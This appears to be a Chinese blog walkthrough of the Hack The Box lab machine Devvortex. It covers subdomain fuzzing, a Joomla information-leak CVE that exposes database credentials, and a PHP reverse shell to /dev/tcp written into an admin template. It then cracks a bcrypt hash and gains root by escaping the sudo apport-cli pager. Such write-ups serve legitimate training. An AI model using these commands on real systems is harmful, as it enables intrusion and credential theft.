[Meachines][Easy]Devvortex

Main

$ nmap -p- 10.10.11.242 --min-rate 1000

image.png

image.png

# echo '10.10.11.242 devvortex.htb'>>/etc/hosts

子域名爆破

$ apt install seclists

$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://devvortex.htb/" -H "Host: FUZZ.devvortex.htb" --hl 7

image.png

$ echo '10.10.11.242 dev.devvortex.htb'>>/etc/hosts

$ gobuster dir --url "http://dev.devvortex.htb/" --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt

image.png

$ curl http://dev.devvortex.htb/robots.txt

image.png

$ whatweb http://dev.devvortex.htb/administrator

image.png

searchsploit

CVE-2023-23752:未授权访问

image.png

image.png

从Exp中fetch_users是获取用户的函数

image.png

$ curl http://dev.devvortex.htb/api/index.php/v1/config/application?public=true | jq

image.png

username:lewis password:P4ntherg0t1n5r3c0n##

http://dev.devvortex.htb/administrator/

image.png

导航至System->Templates->Administrator Templates

image.png

image.png

index.php把反向shell写进去就好了,Save

exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.23/10032 0>&1'");

image.png

$ nc -lvnp 10032

image.png

无法权限不足读取用户logan的文件

image.png

提升shell方法1

  • script /dev/null -c /bin/bash #这个命令使用script命令将会话记录写入 /dev/null,并在新的 Bash 会话中执行 /bin/bash,即启动一个新的 Bash shell。
    CTRL + Z # 将当前进程挂起(即暂停执行),并返回到终端提示符。这样做是为了在后台执行一些任务或者进行一些其他操作,而不影响当前进程。
    stty raw -echo; fg # 将终端设置为原始(raw)模式和禁用回显(echo),然后将挂起的进程(即刚才启动的新的 Bash 会话)移动到前台运行(foreground)。这样做是为了让新的 Bash 会话能够正常运行,并且不会受到终端设置的影响。
    # 按下 Enter 键两次。这是因为在使用 stty raw -echo; fg 命令之后,终端处于原始模式,不会像平常一样处理换行符。因此,需要按下 Enter 键两次以确保命令输入被传递到新的 Bash 会话中
    export TERM=xterm # 用于设置环境变量 TERM 的值为 xterm。TERM 环境变量用于指定当前终端的类型,xterm 是一种常见的终端类型。设置为 xterm 可以帮助正确地显示终端中的文本和颜色,以及适应终端的特性和功能。

提升shell方法2:
$ SHELL=/bin/bash script -q /dev/null

www-data@devvortex:~/dev.devvortex.htb/administrator$ netstat -ano

3306端口开放着mysql服务

image.png

$ mysql -u lewis -p

P4ntherg0t1n5r3c0n##

image.png

mysql>show databases;
mysql>use joomla;
mysql>show tables;
mysql> select username,password from sd4fg_users;

image.png

$ echo "\$2y\$10\$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12">hash

保存哈希

$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash

image.png

username:logan password:tequieromucho

www-data@devvortex:~/dev.devvortex.htb/administrator$ su logan

User Flag

logan@devvortex:/var/www/dev.devvortex.htb/administrator$ cat /home/logan/user.txt

image.png

a2e439ebea0891abde76fa39322ee67a

Root Flag

logan@devvortex:/var/www/dev.devvortex.htb/administrator$ sudo -l

image.png

logan用户只能执行和读该文件/usr/bin/apport-cli,不能进行修改

image.png

打开是一个python文件,我们将他下载下来分析一下

image.png

我们首先锁定系统执行命令的sys,os函数库和input,read,write一些函数,让后逆向找到利用点

image.png

跟进父类函数

image.png

跟进CLIDialog父类函数中的run,可以看到是一个选择页面

image.png

logan@devvortex:/var/www/dev.devvortex.htb/administrator$sudo /usr/bin/apport-cli

运行一下看界面

image.png

当我们输入一个字符时,会将其转为大写,然后寻找该字符在列表中的索引位置,然后索引+1,最后返回一个int数据

image.png

这里的CLIDialog.run()也就类似于input函数

第一处:CLIUserInterface.ui_present_report_details() 这是一个显示报告的函数

image.png

第二处:CLIUserInterface.ui_info_message() CLIUserInterface.ui_error_message()这是一个ui消息显示和错误消息显示

image.png

第三处:CLIUserInterface.ui_question_yesno() CLIUserInterface.ui_question_choice() 一个选择函数…

image.png

image.png

有趣的是当分析到CLIUserInterface.ui_present_report_details()中调用了一个工具

image.png

image.png

/usr/bin/sensible-pager:是一个命令行工具,用于选择并执行适合当前环境的默认分页器(pager)。在Unix和Linux系统中,分页器是用于浏览文本文件内容的工具,通常用于查看长文本文件或命令输出。

我们可以在kali中来演示如何利用/usr/bin/sensible-pager进入命令行模式

image.png

image.png

此时我们输入!/bin/bash时候,!来引导外部命令/bin/bash成功获取shell

image.png

image.png

回到靶机同样方法去获取shell

这里如果运行过一次很可能会出现异常,加-f参数进入调试模式

logan@devvortex:/var/www/dev.devvortex.htb/administrator$ sudo /usr/bin/apport-cli --help

image.png

$ sudo /usr/bin/apport-cli -f

随便写数字,到选择这一步就好了

image.png

输入V,进入到报告页面输入,!/bin/bash

image.png

成功提权

image.png

image.png

ebbf314456c1a1428c243b579b031a9f

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值